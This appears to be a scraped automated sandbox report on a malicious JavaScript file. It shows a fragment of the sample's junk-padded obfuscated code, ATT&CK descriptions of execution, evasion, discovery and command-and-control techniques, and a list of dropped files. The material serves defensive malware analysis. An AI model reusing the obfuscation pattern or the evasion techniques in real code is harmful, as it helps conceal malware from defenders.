1537	xciny = "r";
1538	xciny = "L";
1539	xciny = "H";
1540	xciny = "i";
1541	xciny = "L";
1542	xciny = "E";
1543	xciny = "Y";
1544	xciny = "Q";
1545	xciny = "A";
1546	xciny = "j";
1547	xciny = "m";
1548	xciny = "P";
1549	xciny = "e";
1550	xciny = "u";
1551	xciny = "b";
1552	xciny = "N";
1553	xciny = "E";
1554	xciny = "G";
1555	xciny = "e";
1556	xciny = "d";
1557	vkcvdag = "x";
1558	vkcvdag = "h";
1559	vkcvdag = "f";
1560	vkcvdag = "n";
1561	vkcvdag = "H";
1562	vkcvdag = "o";
1563	vkcvdag = "X";
1564	vkcvdag = "t";
1565	vkcvdag = "A";
1566	vkcvdag = "w";
1567	vkcvdag = "b";
1568	vkcvdag = "p";
1569	vkcvdag = "z";
1570	vkcvdag = "C";
1571	vkcvdag = "T";
1572	vkcvdag = "x";
1573	vkcvdag = "k";
1574	vkcvdag = "Q";
1575	vkcvdag = "v";
1576	vkcvdag = "g";
1577	vkcvdag = "t";
1578	vkcvdag = "O";
1579	vkcvdag = "l";
1580	vkcvdag = "r";
1581	vkcvdag = "S";
1582	vkcvdag = "k";
1583	vkcvdag = "H";
1584	vkcvdag = "p";
1585	vkcvdag = "p";
1586	vkcvdag = "9";
1587	fijxrijj ( );	fijxrijj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 244188544238313090.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b3ce2c68-9ec3-465b-b152-416ad8981533.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7108

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
244188544238313090.js